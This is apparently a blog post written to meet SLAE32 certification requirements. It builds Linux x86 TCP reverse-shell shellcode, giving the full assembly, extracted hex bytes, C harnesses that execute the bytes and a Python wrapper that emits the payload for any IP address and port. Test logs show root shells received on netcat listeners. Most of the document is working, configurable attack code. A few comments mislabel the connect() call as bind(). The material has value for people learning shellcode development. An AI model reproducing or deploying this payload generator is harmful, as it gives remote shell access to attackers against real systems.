SLAE32 Assignment 2 - TCP Reverse-Shell Shellcode
Overview
For our second assignment in the SLAE32 course we were tasks with creating reverse shell, shellcode.
What is a reverse shell?
A reverse shell is a program that is executed on a victim device, and connects to a remote host. Once the victim connects to the remote host, the victim executes an interactive shell within the connection. Input and Output of the reverse shell program is passed to the remote host, allowing the remote host to execute commands as if they were physically connected to the terminal.
After writting the first bind shell, shellcode I felt I had a grasp on Assembly, and skipped right into creating the shellcode.
Creating the Assembly Shellcode
1. Create the Socket.
C Function
int socket(int domain, int type, int protocol);
Our C Function
<socketcall> socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
EAX=0x66 EBX ECX[0] ECX[1] ECX[2]
EAX = 0x66 = 102
- System Call
socketcall 102
- System Call
EBX = 0x1 = socket()
- Value of EBX Register for
socketcall
to create a new socket.
- Value of EBX Register for
ECX[0] = int domain = AF_INET = PF_INET = 0x2
- Finding the value for
PF_INET
.cat /usr/src/linux-headers-$(uname -r)/include/linux/net.h SOCK_STREAM = 1 cat /usr/include/i386-linux-gnu/bits/socket.h #define AF_INET PF_INET #define PF_INET 2
- We see that
AF_INET
is mapped toPF_INET
- Finding the value for
ECX[1] - int type = SOCK_STREAM = 0x1
ECX[2] = int protocol = 0
Assembly code for the socket() function
xor eax, eax ; Clear EAX Register. EAX = 0x00000000
mov al, 0x66 ; EBX = 0x66 = 102. SYSCAL 102 = socketcall
xor ebx, ebx ; Clear EBX Register.
inc ebx ; EBX = 0x1 = socket() // Create a socket
xor ecx, ecx ; Clear ECX Register.
push ecx ; ECX[2] = int protocol = 0. Pushes 0x0 onto the stack
push ebx ; ECX[1] - int type = SOCK_STREAM = 0x1. Pushes 0x1 onto the stack
push byte 0x2 ; ECX[0] - int domain = AF_INET = PF_INET = 0x2. Pushes 0x2 onto the stack
mov ecx, esp ; Point the ECX Register to the Top of the stack
int 0x80 ; Execute the socket() System Call
xchg esi, eax ; save the "sockfd" generated from the socket above
2. Create the Socket Address Struct
C Function
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
Our C Function
{ .sin_family = AF_INET, .sin_port = htons(1337), .sin_addr.s_addr = 127.1.1.1 }
ARG[0] ARG[1] ARG[2]
ARG[0] = 0x2
- Value for
AF_INET
- Value for
ARG[1] = 0x3905
- This is for the TCP Port 1337.
ARG[2] = 0x0101017f
sin_addr.s_addr
: 127.1.1.1 (big endian)
3. Bind our Socket Address to the Socket
C Function
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Our C Function
<socketcall> bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr));
EAX=0x66 EBX ECX[0] ECX[1] ECX[2]
ECX[0] = push esi
- This is the value we saved from creating the Socket earlier.
ECX[1] = pointer to the struct on our stack
ECX[2] = 0x10
- Our Struct of ARG’s is now 16 bytes long (
0x10
in Hex).
- Our Struct of ARG’s is now 16 bytes long (
Assembly Code for the address struct & function bind().
xor eax, eax ; Clears the eax register
inc ebx
push 0x0101017f ; ARG[2]. sin_addr.s_addr: 127.1.1.1 (big endian)
push word 0x3905 ; ARG[1]. This is for the TCP Port 1337.
push bx ; ARG[0]. Push the value 2 onto the stack, needed for AF_INET.
mov ecx, esp ; Point ECX to the top of the stack. This will be used for ECX[1].
push 0x10 ; ECX[2] - socklen_t addrlen // Sizeof sockaddr
push ecx ; ECX[1] - const struct sockaddr *addr // pointer to sockaddr
push esi ; ECX[0] - int sockfd
; Saved in ESI earlier after creating the socket.
mov ecx, esp ; Stack is all loaded.
; We now need to point ECX to the top of the Stack.
inc ebx ; Connect() value for the socketcall() SYSCAL
mov al, 0x66 ; socketcall() system call
int 0x80 ; System Call Interrupt 0x80 - Executes bind().
4. Duplicate STDIN, STDOUT, STDERR to the remote Socket.
C Function
int dup2(int oldfd, int newfd);
Our C Function
dup2( clientSocket, 0 ); // STDIN
dup2( clientSocket, 1 ); // STDOUT
dup2( clientSocket, 2 ); // STDERR
EAX EBX ECX
Finding Value for dup2 systemcall.
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
#define __NR_dup2 63
Assembly Loop to transfer input and output to the remote socket.
xchg ebx, esi ; This is our socket value returned from our `socket` systemcall.
xor ecx, ecx ; Clear the ECX Register
dup2loop:
mov al, 0x3f ; EAX Syscall dup2() for STDIN STDOUT STDERR
int 0x80 ; execute dup2()
inc ecx ; increase EAX by 1
cmp cl, 0x4 ; compare cl to 4, if it is 4 the flag will be set
jne dup2loop ; Jumps to the specified location if flag is set
5. Spawn a bash shell for the remote client
Default C Function
int execve(const char *filename, char *const argv[], char *const envp[]);
Our C Function
execve("/bin/bash", NULL, NULL);
Execve Assembly Shellcode
xor edx, edx
push edx ; Push NULL onto the stack
push 0x68732f2f ; Push "hs//" onto the stack
push 0x6e69622f ; Push "nib/" onto the stack
mov ebx, esp ; point ebx to stack
mov al, 0xb ; execve
xor ecx, ecx
int 0x80 ; execute execve
Complete Assembly Code for TCP Reverse Shell Shellcode
; Filename: revTcpSh.asm
; Author: boku
global _start
section .text
_start:
xor eax, eax ; Clear EAX Register. EAX = 0x00000000
mov al, 0x66 ; EBX = 0x66 = 102. SYSCAL 102 = socketcall
xor ebx, ebx ; Clear EBX Register. EBX = 0x00000000
inc ebx ; EBX = 0x1 = socket() // Create a socket
xor ecx, ecx ; Clear ECX Register. ECX = 0x00000000
push ecx ; ECX[2] = int protocol = 0.
push ebx ; ECX[1] - int type = SOCK_STREAM = 0x1.
push byte 0x2 ; ECX[0] - int domain = AF_INET = PF_INET = 0x2.
mov ecx, esp ; Point the ECX Register to the Top of the stack
int 0x80 ; Execute the socket() System Call
xchg esi, eax ; save the "sockfd" generated from the socket above
xor eax, eax
inc ebx
push 0x0101017f ; ARG[2]. sin_addr.s_addr: 127.1.1.1 (big endian)
push word 0x3905 ; ARG[1]. This is for the TCP Port 1337.
push bx ; ARG[0]. Push the value 2 onto the stack for AF_INET.
mov ecx, esp ; Now all that is left is to point ECX to the top of the
; loaded stack and let it do it's thing.
push 0x10 ; ECX[2] - socklen_t addrlen // Sizeof sockaddr
push ecx ; ECX[1] - const struct sockaddr *addr
push esi ; ECX[0] - int sockfd. Saved in ESI earlier
mov ecx, esp ; Point ECX to the top of the Stack.
inc ebx ; Connect() value for the socketcall() SYSCAL
mov al, 0x66 ; socketcall() system call
int 0x80 ; System Call Interrupt 0x80 - Executes bind().
xchg ebx, esi
xor ecx, ecx
dup2loop:
mov al, 0x3f ; EAX Syscall dup2() for STDIN STDOUT STDERR
int 0x80 ; execute dup2()
inc ecx ; increase EAX by 1
cmp cl, 0x4 ; compare cl to 4, if it is 4 the flag will be set
jne dup2loop ; Jumps to the specified location flag is set
xor edx, edx
push edx ; Push NULL onto the stack
push 0x68732f2f ; Push "hs//" onto the stack
push 0x6e69622f ; Push "nib/" onto the stack
mov ebx, esp ; point ebx to stack
mov al, 0xb ; execve
xor ecx, ecx
int 0x80 ; execute execve
Compiling & Testing the Assembly Shellcode
Compile the Shellcode
nasm -f elf32 revTcpSh.asm -o revTcpSh.o
ld revTcpSh.o -o revTcpSh
Testing the reverse shell program
Terminal Window 1
./revTcpSh
Terminal Window 2
nc.traditional -nvlp 1337
listening on [any] 1337 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 36505
id
uid=0(root) gid=0(root) groups=0(root)
Testing if the Shellcode works when used in another program
Extracting the Shellcode Hex from the compiled binary
./objdump2hex.sh revTcpSh
"\x31\xc0\xb0\x66\x31\xdb\x43\x31\xc9\x51\x53\x6a\x02\x89"
"\xe1\xcd\x80\x96\x31\xc0\x43\x68\x7f\x01\x01\x01\x66\x68"
"\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xb0"
"\x66\xcd\x80\x87\xde\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9"
"\x04\x75\xf6\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\xb0\x0b\x31\xc9\xcd\x80"
Adding the shellcode to another program
This is the C program we will use to see if our shellcode works while ran in a different host program. After modifying our program, we will compile it.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\x43\x31\xc9\x51\x53\x6a\x02\x89"
"\xe1\xcd\x80\x96\x31\xc0\x43\x68\x7f\x01\x01\x01\x66\x68"
"\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xb0"
"\x66\xcd\x80\x87\xde\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9"
"\x04\x75\xf6\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\xb0\x0b\x31\xc9\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile the C program
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
Testing if our shellcode works with the program
Terminal Window 1
root# ./shellcode
Shellcode Length: 80
Terminal Window 2
root# nc.traditional -nvlp 1337
listening on [any] 1337 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 36507
id
uid=0(root) gid=0(root) groups=0(root)
Tcp Reverse Shell Wrapper
- The purpose of this wrapper is to easily configure the:
- Destination IP Address of the Reverse Shell
- Destination TCP Port of the Reverse Shell
Python Reverse Shell Wrapper
#!/usr/bin/python
# Filename: revshWrapper.py
# Author: boku
## TCP Port
# Take users TCP port as input
port = raw_input("Enter TCP Port Number: ")
# Convert input string to an integer
deciPort = int(port)
# Format the integer to Hex Integer
hexPort = "{:02x}".format(deciPort)
# Check the length of the output hex string
hexStrLen = len(hexPort)
# Check if the hex string is even or odd with modulus 2
oddEven = hexStrLen % 2
# if it returns 1 then it's odd. We need to add a leading 0
if oddEven == 1:
hexPort = "0" + hexPort
# converts the port number into the correct hex format
tcpPort = "\\x".join(hexPort[i:i+2] for i in range(0,len(hexPort), 2))
print "Your TCP Port in Hex is:","\\x"+tcpPort
nullCheck = deciPort % 256
if nullCheck == 0 :
print "Your TCP Port contains a Null 0x00."
print "Try again with a different Port Number."
exit(0)
## IP Address
# Take users IP Address as input
ipAddrStr = raw_input("Enter IP Address [127.1.1.1]: ")
if ipAddrStr == "" :
ipAddrStr = "127.1.1.1"
formatIP = ipAddrStr.split('.')
hexIP = '{:02x}{:02x}{:02x}{:02x}'.format(*map(int, formatIP))
# converts the ip address into the correct hex format
ipAddr = "\\x".join(hexIP[i:i+2] for i in range(0,len(hexIP), 2))
print "Your IP Address in Hex is:","\\x"+ipAddr
#print "\\x"+ipAddr # debugging
## Shellcode
scPart1 = "\x31\xc0\xb0\x66\x31\xdb\x43\x31\xc9\x51\x53\x6a\x02\x89"
scPart1 += "\xe1\xcd\x80\x96\x31\xc0\x43\x68"
#ipAddr = "\x7f\x01\x01\x01" # IP 127.1.1.1
scPart2 = "\x66\x68" # Push Word
# tcpPort = "\x05\x39" # TCP Port 1337
scPart3 = "\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xb0"
scPart3 += "\x66\xcd\x80\x87\xde\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9"
scPart3 += "\x04\x75\xf6\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
scPart3 += "\x69\x6e\x89\xe3\xb0\x0b\x31\xc9\xcd\x80"
# Initiate the Shellcode variable we will output
shellcode = ""
# Add the first part of the tcp bind shellcode
for x in bytearray(scPart1) :
shellcode += '\\x'
shellcode += '%02x' %x
# Add the user input id address to the shellcode
shellcode += "\\x"+ipAddr
# Add the second part of the tcp bind shellcode
for x in bytearray(scPart2) :
shellcode += '\\x'
shellcode += '%02x' %x
# Add the user added tcp port to the shellcode
shellcode += "\\x"+tcpPort
# Add the third part of the tcp bind shellcode
for x in bytearray(scPart3) :
shellcode += '\\x'
shellcode += '%02x' %x
print "Choose your shellcode export format."
exportFormat = raw_input("[1] = C Format\n[2] = Python Format\n[1]: ")
if exportFormat == "2" :
formatSC = '"\nshellcode += "'.join(shellcode[i:i+48] for i in range(0,len(shellcode), 48))
print "[-----------------------Your-Shellcode------------------------]"
print 'shellcode = "'+formatSC+'"'
else :
formatSC = '"\n"'.join(shellcode[i:i+48] for i in range(0,len(shellcode), 48))
print "[----------------Your-Shellcode------------------]"
print 'unsigned char shellcode[] = \\\n"'+formatSC+'";'
Generating the Shellcode with the Wrapper
root# python revshWrapper.py
Enter TCP Port Number: 33801
Your TCP Port in Hex is: \x84\x09
Enter IP Address [127.1.1.1]: 172.16.65.138
Your IP Address in Hex is: \xac\x10\x41\x8a
Choose your shellcode export format.
[1] = C Format
[2] = Python Format
[1]: 1
[----------------Your-Shellcode------------------]
unsigned char shellcode[] = \
"\x31\xc0\xb0\x66\x31\xdb\x43\x31\xc9\x51\x53\x6a"
"\x02\x89\xe1\xcd\x80\x96\x31\xc0\x43\x68\xac\x10"
"\x41\x8a\x66\x68\x84\x09\x66\x53\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\x43\xb0\x66\xcd\x80\x87\xde\x31"
"\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31"
"\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\xb0\x0b\x31\xc9\xcd\x80";
Adding the Shellcode to the Host C Program
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x31\xc0\xb0\x66\x31\xdb\x43\x31\xc9\x51\x53\x6a"
"\x02\x89\xe1\xcd\x80\x96\x31\xc0\x43\x68\xac\x10"
"\x41\x8a\x66\x68\x84\x09\x66\x53\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\x43\xb0\x66\xcd\x80\x87\xde\x31"
"\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31"
"\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\xb0\x0b\x31\xc9\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Compiling the Host C Program
root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
Testing the Shellcode
Window 1
root# ./shellcode
Shellcode Length: 80
Window 2
root# nc.traditional -v -l -s 172.16.65.138 -p 33801
listening on [172.16.65.138] 33801 ...
connect to [172.16.65.138] from ubuntu.local [172.16.65.138] 58352
id
uid=0(root) gid=0(root) groups=0(root)
- Recieved reverse shell on listener
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913